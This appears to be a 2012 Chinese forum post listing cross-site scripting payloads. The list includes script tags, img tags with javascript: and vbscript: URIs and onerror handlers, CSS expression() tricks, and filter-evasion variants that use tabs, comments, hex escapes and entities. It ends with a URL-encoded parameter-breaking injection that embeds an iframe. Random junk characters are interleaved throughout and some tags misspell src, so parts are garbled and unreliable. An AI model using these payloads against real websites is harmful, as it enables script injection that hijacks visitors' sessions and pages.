<script>alert("跨站")</script> (最常用）- f- A% Z+ Y, N2 Z5 B; r& i* O3 X
<img scr=javascript:alert("跨站")></img>! R) f7 c- G/ s+ S# z
<img scr="javascript: alert(/跨站/)></img>9 n" Y% w: {$ P( o+ u/ G/ z
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）/ ]$ S- U' d8 {0 C8 d2 M
<img scr="#" onerror=alert(/跨站/)></img>+ ~* G& u8 ~0 k. B
<img scr="#" style="xss:expression(alert(/xss/));"></img>
; p/ r9 J+ Q, M% J<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
$ Z1 s9 L) k" S<img src=vbscript:msgbox ("xss")></img>
( k; B6 ?2 U! o0 ?3 _! A( N! b<style> input {left:expression (alert('xss'))}</style>) \3 I& N& g- W8 T6 A( k
<div style={left:expression (alert('xss'))}></div>9 V% y7 Q8 {. N7 ~, a+ z% |! y Q
<div style={left:exp/* */ression (alert('xss'))}></div>
5 F0 B6 T* X0 ^( [: j$ z2 Z<div style={left:\0065\0078ression (alert('xss'))}></div>1 z* ~- S' a4 u9 B! b
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
9 z" b- P$ P: _' K6 o' Iunicode <div style="{left:expRessioN (alert('xss'))}">
; P7 p2 [ }' @3 y f1 ]' J2 U$ g' S4 x4 A. @+ {# _4 o
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["' l8 G: f; U' Y( _
|
发表于 2012-9-15 14:09:13
收藏
支持
反对